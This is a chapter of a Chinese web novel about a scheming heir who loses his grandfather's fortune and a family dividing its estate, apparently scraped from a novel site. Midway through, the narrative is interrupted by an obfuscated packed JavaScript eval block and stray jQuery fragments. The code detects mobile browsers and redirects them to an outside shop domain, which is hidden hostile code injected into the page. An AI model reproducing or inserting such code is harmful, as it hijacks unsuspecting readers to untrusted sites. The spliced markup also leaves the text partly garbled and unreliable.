顾沉舟觉得自己最近怕不是得罪了哪个庙里的神仙,才导致他诸事不顺。
他活了二十七年,从学业到事业,他都是人群中闪闪发光独一无二的存在,只要有他在,旁人就休想分得半点光彩。
他的人生第一个滑铁卢是娶了陆文锦那个假千金。
虽说陆氏也不是没给陆文锦嫁妆,但假的和真的哪能一样,陆灿灿作为真千金,可以继承陆氏的全部资产,而陆文锦也就只有这么笔一次性的嫁妆,结婚以后恐怕和陆家就只剩面子情。
和陆文锦结婚后他有点不甘心,就带着陆文锦去了陆家,想试探一下陆家的态度,没想到陆灿灿那小丫头比猴还精,一下子就看穿了他的目的,甚至还向爷爷告状,让他当众下不来台。
没过几天,陆文锦竟主动提出要和他离婚。
顾沉舟想着离婚也好,毕竟陆文锦要学历没学历,要能力没能力,身份还很尴尬,这样一个除了容貌能拿的出手,剩下对他毫无助益的妻子,他也不想要。
顾沉舟和陆文锦熬过了三十天离婚冷静期,拿到离婚证的时候,他心里总算松了一口气。
这场错误的婚姻已被抹去,接下来他应该找一个真正对他有帮助的妻子联姻,再凭借自己妻子的势力去谋夺爷爷手中的权利。
可惜天有不测风云,正当他踌躇满志,想要干出一番大事的时候,一个噩耗传来,他的爷爷,顾氏集团的董事长,在一个小时前去世了!
这个消息对顾沉舟来说简直是晴天霹雳,他第一时间询问律师爷爷的遗产是怎么分配的,却被告知顾老爷子生前没有留下遗嘱。
有那么一瞬间,顾沉舟感觉自己前半生的顺利都是笑话。
按照法律,遗产的第一继承人是父母、伴侣、子女。
他爷爷那么大年纪了,自然不可能有父母,奶奶也早已过世,如果不出意外,爷爷的遗产会平均分配给他的七名子女。
听起来好像很公平,可这恰恰是顾沉舟最不愿意看到的局面。
顾老爷子虽然在法律层面上只和一个人结过婚,可他的七名子女的生母却各不相同,就拿顾沉舟的父亲举例,他父亲是爷爷的长子,可与他父亲生母相同的,就只有顾家七子中排行第五的姑姑。
生母不同,再加上利益冲突,使得顾家七兄妹关系及其恶劣,一但拿到各自的遗产,分家是必然的事。
顾沉舟身为长房长孙,兼之被爷爷重视,本应前途无量,可……谁都知道,能继承顾老爷子遗产的只有他的子女,而顾沉舟与自己生父的关系又很恶劣,几乎到了决裂的地步。
一朝天子一朝臣,顾老爷子一死,家里掌权的成了他父亲,而他自己名下仅有少数不动产,他都不敢想,自己以后的日子要怎么过。
*
顾沉舟那边过的七上八下,而造成了这一切的凶手倒是岁月静好。
陆灿煊躺在摇椅上,一边喝奶茶一边打游戏。
顾老爷子去世已有半年,正如顾宴玥所说,顾家在短时间内分崩离析,顾沉舟这个男主没有继承到任何财产,自然也没了打陆家主意的资格。
陆父陆母不知道这件事是陆灿煊搞的鬼,只是一味感慨世事无常,万事都要提前做好打算。
或许在顾老爷子的事中吸取了教训,陆父陆母叫来律师、陆灿灿和陆文锦,早早立下遗嘱,分割了财产。
两人的分割财产的方法倒也简单,陆氏集团的大部分财产都由陆灿灿继承,陆文锦则是分到了房产、珠宝、现金以及一份只要她不死就能一直领取的家族信托。
陆文锦并不贪财,对财产分配毫无异议,甚至表示自己不需要那么多钱。
陆灿煊倒是看的分明,直言陆文锦把这些东西攥在手里,陆父陆母才能安心,毕竟是自己养出来的女儿,要是短了花销,做父母的哪能忍。
陆文锦独立生活以后多少也懂了一些人情世故,她明白,这些东西就是爸妈给她的最后保障,便没有太过推拒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636084|206591||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>或许是明白自己不受陆灿灿待见,这半年陆文锦极少回家,只有逢年过节才会回来吃顿饭,陆灿灿眼不见心不烦,见陆文锦不打扰她,对陆文锦的印象也没有以前那么差了。
今天陆文锦忽然发来消息,说要回家吃饭,陆灿灿心里有点莫名其妙,陆灿煊倒是猜到了什么,却也没说出来,只催促着陆灿灿去吃饭。
[爸、妈、灿灿,]沉默着吃完了饭,陆文锦拿出手机一点一点打字,[半年前,我交了一个朋友,她在隔壁市开了一家流浪动物收容中心,专门帮助流浪动物,我……想去帮帮忙。]
陆母顿了一下,放下筷子,她心里清楚,如果只是短时间帮忙,根本不用跟家里说,文锦既然开口了,就是想长驻。
“……这是你想做的吗?”陆母叹息一声,“如果是的话,那我这个当妈的不反对。”
[是,]陆文锦认真打下一段话,[我喜欢小动物,也想尽自己的努力帮助它们。]
“也行,”陆灿煊看了一眼屏幕,随口说道,“反正你有钱有闲,做什么都不至于饿着,万一哪天你觉得累了,辞职回家不就得了。”
陆文锦没有说话,只是朝陆灿煊笑了笑,她没有说,帮助流浪动物这个想法,还是陆灿煊帮她种下的。
“和你合作的人怎么样?”陆父更关心现实问题,“她会不会是骗子?”
[不会,]陆文锦连忙摇头,[小雅人很好,我们认识三个月了,况且除了我,她的宠物收容中心还有四五个员工,我又没什么好被人骗的。]
“文锦长大了,”陆父难得拿出他珍藏的酒,给桌上所有人都倒了一杯,“我这个当爹的,不敢说让你往后余生都快乐,但只要爹还活着,你有什么事都可以来找爹,爹一定给你解决!”
[好。]
陆文锦放下手机,端起酒一口干掉,趁着放酒杯的姿势,擦了擦自己眼角的泪。
或许命运和她开了一个天大的玩笑,但幸好,结局还不坏。